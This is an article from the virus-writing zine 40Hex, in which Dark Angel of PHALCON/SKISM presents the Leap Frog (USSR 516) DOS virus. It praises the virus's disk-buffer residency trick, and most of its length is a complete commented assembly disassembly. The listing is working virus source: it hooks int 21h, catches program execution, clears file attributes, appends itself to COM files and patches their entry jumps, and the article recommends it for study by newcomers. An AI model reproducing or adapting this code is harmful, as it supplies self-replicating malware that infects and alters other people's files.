40Hex Number 7 Volume 2 Issue 3 File 006 Virus Spotlite on: Leap Frog It's always interesting to find new residency techniques. I suppose everyone by now is tired of the traditional high-memory loading routine and is on the lookout for something different. 40Hex comes to the rescue! This virus, the "Leap Frog" or USSR 516, has one of the most unique methods I have ever seen. I was mucking around in VSUM and noticed that it, according to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS Stacks." She is, of course, not telling us the entire story. Leap Frog basically latches onto and resides in a DOS disk buffer. I do not know who the author is, but I commend him for his innovative technique. I took the liberty of disassembling the virus which is given below. It should be an exact byte-for-byte matchup of the original carrier file (or at least should be extremely similar). The offsets are in their correct locations, etc, etc. It is simple to understand and terribly efficient. Although the coding is tight, there are some inconsistencies. For example, I do not understand the purpose of the timing routine(int 21h/ah=30h) in the code. I also do not understand why the author decided to infect COM files in such an abnormal way. An interesting "feature" is the disabling of Control-Break checking - a thoroughly unnecessary piece of code. I believe further that the line above "findmarker" should read: lds di,dword ptr ds:[30h*4] In any case, the code is otherwise very, very good. It is great for studying by newcomers and "oldtimers" alike. Things to look for: Residency routine Lack of extensive use of relative offsets Use of stack frame in the interrupt handler Critical error handler Enjoy! Dark Angel of PHALCON/SKISM ussr516 segment byte public assume cs:ussr516, ds:ussr516 org 100h ;Disassembled by Dark Angel of PHALCON/SKISM ;for 40Hex Number 7 Volume 2 Issue 3 stub: db 0e9h, 0, 0 db 0e9h, 1, 0, 0 ;This is where the virus really begins start: push ax call beginvir orig4 db 0cdh, 20h, 0, 0 int30store db 0, 0, 0, 0 ;Actually it's int 21h ;entry point int21store db 0, 0, 0, 0 beginvir: pop bp ;BP -> orig4 mov si,bp mov di,103h add di,[di-2] ;DI -> orig4 movsw ;restore original movsw ;4 bytes of program xor si,si mov ds,si les di,dword ptr ds:[21h*4] mov [bp+8],di ;int21store mov [bp+0Ah],es lds di,dword ptr ds:[30h*4+1] ;Bug???? findmarker: inc di cmp word ptr [di-2],0E18Ah ;Find marker bytes jne findmarker ;to the entry point mov [bp+4],di ;and move to mov [bp+6],ds ;int30store mov ax,5252h ;Get list of lists int 21h ;and also ID check add bx,12h ;Already installed? jz quitvir ;then exit push bx mov ah,30h ;Get DOS version int 21h pop bx ;bx = 12, ptr to 1st ;disk buffer cmp al,3 je handlebuffer ;if DOS 3 ja handleDBHCH ;if > DOS 3 inc bx ;DOS 2.X, offset is 13 handlebuffer: push ds push bx lds bx,dword ptr [bx] ;Get seg:off of buffer inc si pop di pop es ;ES:DI->seg:off buff mov ax,[bx] ;ptr to next buffer cmp ax,0FFFFh ;least recently used? jne handlebuffer ;if not, go find it cmp si,3 jbe quitvir stosw stosw jmp short movetobuffer handleDBHCH: ;Disk Buffer Hash Chain Head array lds si,dword ptr [bx] ;ptr to disk buffer lodsw ;info lodsw ;seg of disk buffer ;hash chain head array inc ax ;second entry mov ds,ax xor bx,bx mov si,bx lodsw ;EMS page, -1 if not ;in EMS xchg ax,di ;save in di lodsw ;ptr to least recently ;used buffer mov [di+2],ax ;change disk buffer ;backward offset to ;least recently used xchg ax,di ;restore EMS page mov [di],ax ;set to least recently movetobuffer: ;used mov di,bx push ds pop es ;ES:DI -> disk buffer push cs pop ds mov cx,108h lea si,[bp-4] ;Copy from start rep movsw mov ds,cx ;DS -> interrupt table mov word ptr ds:[4*21h],0BCh ;New interrupt handler mov word ptr ds:[4*21h+2],es ;at int21 quitvir: push cs ;CS = DS = ES pop es push es pop ds pop ax mov bx,ax mov si, 100h ;set up stack for push si ;the return to the retn ;original program int24: mov al,3 ;Ignore all errors iret tickstore db 3 ;Why??? buffer db 3, 0, 9, 0 int21: pushf cli ;CP/M style call entry call dword ptr cs:[int30store-start] retn ;point of int 21h int21DSDX: ;For int 21h calls push ds ;with lds dx,dword ptr [bp+2] ;DS:DX -> filename call int21 pop ds retn cmp ax,4B00h ;Execute je Execute cmp ax,5252h ;ID check je CheckID cmp ah,30h ;DOS Version je DosVersion callorig21: ;Do other calls jmp dword ptr cs:[int21store-start] DosVersion: ;Why????? ;DOS Version dec byte ptr cs:[tickstore-start] jnz callorig21 ;Continue if not 0 push es xor ax,ax push ax mov es,ax mov al,es:[46Ch] ; 40h:6Ch = Timer ticks ; since midnight and al,7 ; MOD 15 inc ax inc ax mov cs:[tickstore-start],al ;# 2-17 pop ax pop es iret CheckID: ;ID Check mov bx,0FFEEh ;FFEEh = -12h iret Execute: ;Execute push ax ;Save registers push cx push es push bx push ds ;DS:DX -> filename push dx ;save it on stack push bp mov bp,sp ;Set up stack frame sub sp,0Ah ;Temporary variables ;[bp-A] = attributes ;[bp-8] = int 24 off ;[bp-6] = int 24 seg ;[bp-4] = file time ;[bp-2] = file date sti push cs pop ds mov ax,3301h ;Turn off ^C check xor dl,dl ;(never turn it back call int21 ; on. Bug???) mov ax,3524h ;Get int 24h call int21 ;(Critical error) mov [bp-8],bx mov [bp-6],es mov dx,int24-start mov ax,2524h ;Set to new one call int21 mov ax,4300h ;Get attributes call int21DSDX jnc continue doneinfect: mov ax,2524h ;Restore crit error lds dx,dword ptr [bp-8] ;handler call int21 cli mov sp,bp pop bp pop dx pop ds pop bx pop es pop cx pop ax jmp short callorig21 ;Call orig handler continue: mov [bp-0Ah],cx ;Save attributes test cl,1 ;Check if r/o???? jz noclearattr xor cx,cx mov ax,4301h ;Clear attributes call int21DSDX ;Filename in DS:DX jc doneinfect ;Quit on error noclearattr: mov ax,3D02h ;Open read/write call int21DSDX ;Filename in DS:DX jc doneinfect ;Exit if error mov bx,ax mov ax,5700h ;Save time/date call int21 mov [bp-4],cx mov [bp-2],dx mov dx,buffer-start mov cx,4 mov ah,3Fh ;Read 4 bytes to call int21 ;buffer jc quitinf cmp byte ptr ds:[buffer-start],0E9h;Must start with 0E9h jne quitinf ;Otherwise, quit mov dx,word ptr ds:[buffer+1-start];dx = jmploc dec dx xor cx,cx mov ax,4201h ;go there call int21 mov ds:[buffer-start],ax ;new location offset mov dx,orig4-start mov cx,4 mov ah,3Fh ;Read 4 bytes there call int21 mov dx,ds:[orig4-start] cmp dl,0E9h ;0E9h means we might jne infect ;already be there mov ax,ds:[orig4+2-start] ;continue checking add al,dh ;to see if we really sub al,ah ;are there. jz quitinf infect: xor cx,cx mov dx,cx mov ax,4202h ;Go to EOF call int21 mov ds:[buffer+2-start],ax ;save filesize mov cx,204h mov ah,40h ;Write virus call int21 jc quitinf ;Exit if error sub cx,ax jnz quitinf mov dx,ds:[buffer-start] mov ax,ds:[buffer+2-start] sub ax,dx sub ax,3 ;AX->jmp offset mov word ptr ds:[buffer+1-start],ax;Set up buffer mov byte ptr ds:[buffer-start],0E9h;code the jmp add al,ah mov byte ptr ds:[buffer+3-start],al mov ax,4200h ;Rewind to jmploc call int21 mov dx, buffer-start mov cx,4 ;Write in the jmp mov ah,40h call int21 quitinf: mov cx,[bp-4] mov dx,[bp-2] mov ax,5701h ;Restore date/time call int21 mov ah,3Eh ;Close file call int21 mov cx,[bp-0Ah] ;Restore attributes mov ax,4301h call int21DSDX jmp doneinfect ;Return ussr516 ends end stub +++++